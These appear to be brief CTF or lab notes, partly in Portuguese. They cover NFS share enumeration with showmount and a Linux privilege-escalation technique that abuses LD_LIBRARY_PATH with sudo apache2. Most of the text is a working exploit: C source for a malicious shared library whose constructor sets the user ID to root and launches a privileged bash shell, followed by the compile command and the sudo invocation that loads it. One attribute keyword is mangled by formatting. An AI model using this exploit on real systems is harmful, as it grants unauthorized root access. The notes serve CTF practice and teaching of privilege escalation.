showmount

showmount -e <ip>
ele vai retornar a lista do /mnt/

Untitled

Untitled

Untitled

Untitled

https://book.hacktricks.xyz/linux-hardening/privilege-escalation?source=post_page-----65e9d2b1a717--------------------------------#ld_preload-and-ld_library_path

You need to create an C file and complie it with following step.

#include <stdio.h>
#include <stdlib.h>
static void hijack() **attribute**((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
  1. gcc -o /tmp/libcrypt.so.1 -shared -fPIC /path/exploit.c (/path/exploit.c should be your C file exact path)
  2. sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2 Then you will have the root access and get the root flag.